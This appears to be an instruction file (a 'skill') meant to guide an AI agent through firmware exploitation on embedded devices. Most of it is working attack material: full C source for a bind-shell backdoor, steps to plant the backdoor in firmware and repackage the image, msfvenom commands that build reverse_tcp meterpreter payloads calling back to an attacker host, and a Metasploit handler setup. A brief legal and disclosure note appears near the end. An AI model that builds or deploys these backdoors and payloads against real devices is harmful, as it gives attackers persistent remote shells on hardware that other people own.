| name | firmware-integrity |
| description | How to analyze and exploit firmware integrity and signature verification flaws. Use this skill whenever the user mentions firmware analysis, embedded device security, binary exploitation, backdoor compilation, cross-compilation for embedded systems, or wants to test firmware security. This includes scenarios involving firmware extraction, custom binary compilation, Metasploit payload generation, QEMU emulation, and hardware device compromise testing. |
Firmware Integrity Analysis
This skill helps you analyze and exploit firmware integrity and signature verification flaws in embedded devices. You'll work with firmware extraction, custom binary compilation, and payload generation for security testing.
When to Use This Skill
Use this skill when:
- Analyzing firmware for security vulnerabilities
- Testing embedded device security
- Compiling custom binaries for firmware exploitation
- Generating payloads for embedded architectures
- Emulating firmware with QEMU for testing
- Working with firmware-mod-kit (FMK) or similar tools
- Needing cross-compilation for ARM, MIPS, or other embedded architectures
Workflow 1: Custom Firmware Backdoor Compilation
This approach is used when you need to compile custom backdoors or implants for firmware exploitation.
Step 1: Extract the Firmware
Use firmware-mod-kit (FMK) to extract the firmware:
sudo apt-get install firmware-mod-kit
mkfirmware -e firmware.bin
Step 2: Identify Architecture and Endianness
Determine the target architecture:
file firmware.bin
readelf -h firmware.bin | grep -i machine
binwalk -e firmware.bin
Common architectures: ARM, MIPS, x86, PowerPC
Step 3: Build Cross-Compiler
Use Buildroot or crosstool-NG to create a cross-compiler:
make menuconfig
make
Step 4: Compile the Backdoor
Create a simple backdoor (example bind shell):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
addr.sin_addr.s_addr = INADDR_ANY;
bind(sock, (struct sockaddr*)&addr, sizeof(addr));
listen(sock, 1);
while(1) {
int client = accept(sock, NULL, NULL);
dup2(client, 0);
dup2(client, 1);
dup2(client, 2);
execle("/bin/sh", "sh", NULL, NULL);
}
return 0;
}
Compile with cross-compiler:
arm-linux-gnueabihf-gcc -o backdoor backdoor.c
Step 5: Deploy to Firmware
cp backdoor extracted_firmware/rootfs/usr/bin/
chmod +x extracted_firmware/rootfs/usr/bin/backdoor
cp qemu-arm extracted_firmware/rootfs/
Step 6: Test with QEMU Emulation
qemu-arm -L extracted_firmware/rootfs/ /bin/sh
chroot extracted_firmware/rootfs/ /bin/sh
Step 7: Access the Backdoor
nc -lvnp 4444
nc <target_ip> 4444
Step 8: Clean Up and Repackage
cp extracted_firmware/rootfs/qemu-arm /tmp/
rm extracted_firmware/rootfs/qemu-arm
mkfirmware -c extracted_firmware/ -o backdoored_firmware.bin
Step 9: Test with Firmware Analysis Toolkit (FAT)
sudo apt-get install firmware-analysis-toolkit
fat -f backdoored_firmware.bin
nc <emulated_ip> 4444
Workflow 2: Precompiled Payloads with Metasploit
Use this when you already have root shell access through other means (dynamic analysis, bootloader manipulation, hardware security testing).
Step 1: Identify Target Architecture
uname -m
file /bin/sh
readelf -h binary | grep -i machine
Step 2: Generate Payload with Msfvenom
msfvenom -p <payload> LHOST=<attacker_ip> LPORT=<port> \
-f <format> -a <arch> -o payload
msfvenom -p linux/armle/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f elf -a arm -o arm_payload
msfvenom -p linux/mipsle/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f elf -a mips -o mips_payload
Step 3: Transfer Payload to Device
tftp -i <attacker_ip> -p 69 -c put arm_payload
python3 -m http.server 8000
scp arm_payload user@device:/tmp/
Step 4: Set Execution Permissions
chmod +x /tmp/arm_payload
Step 5: Configure Metasploit Handler
msfconsole
use exploit/multi/handler
set PAYLOAD linux/armle/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
set EXITONSESSION false
exploit
Step 6: Execute Payload on Device
/tmp/arm_payload
Common Payload Types
| Platform | Architecture | Payload |
|---|
| Linux | ARM (little-endian) | linux/armle/meterpreter/reverse_tcp |
| Linux | ARM (big-endian) | linux/armbe/meterpreter/reverse_tcp |
| Linux | MIPS (little-endian) | linux/mipsle/meterpreter/reverse_tcp |
| Linux | MIPS (big-endian) | linux/mipsbe/meterpreter/reverse_tcp |
| Linux | x86 | linux/x86/meterpreter/reverse_tcp |
| Linux | PowerPC | linux/ppc/meterpreter/reverse_tcp |
Output Formats for Msfvenom
elf - Executable and Linkable Format (Linux)
raw - Raw shellcode
exe - Windows executable
c - C source code
python - Python script
perl - Perl script
Tools Reference
Firmware-Mod-Kit (FMK)
mkfirmware -e firmware.bin
mkfirmware -c extracted/ -o output.bin
mkfirmware -l firmware.bin
Binwalk
binwalk -e firmware.bin
binwalk -e -M firmware.bin
binwalk -D firmware.bin
QEMU User Emulation
qemu-arm binary
qemu-arm -L rootfs/ /bin/sh
qemu-arm, qemu-mips, qemu-mipsel, qemu-ppc, qemu-x86_64
Security Considerations
- Legal: Only test firmware you own or have explicit permission to test
- Documentation: Document all changes made to firmware
- Backup: Always keep original firmware backups
- Testing: Test in isolated environments before deployment
- Cleanup: Remove debugging tools (QEMU, etc.) from final firmware
Troubleshooting
Cross-Compilation Issues
- Verify architecture matches target device
- Check endianness (little vs big)
- Ensure libc compatibility
- Use static linking if needed:
gcc -static
QEMU Emulation Problems
- Install required libraries:
sudo apt-get install qemu-user-static
- Check for missing shared libraries:
ldd binary
- Use
strace to debug: qemu-arm -L rootfs/ strace /bin/sh
Payload Execution Failures
- Verify architecture and endianness match
- Check SELinux/AppArmor policies
- Ensure proper permissions
- Test with simple shell first:
echo "test" > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh
Next Steps
After successful firmware exploitation:
- Document the vulnerability
- Create proof-of-concept for responsible disclosure
- Develop mitigation recommendations
- Test against updated firmware versions
- Consider automated detection methods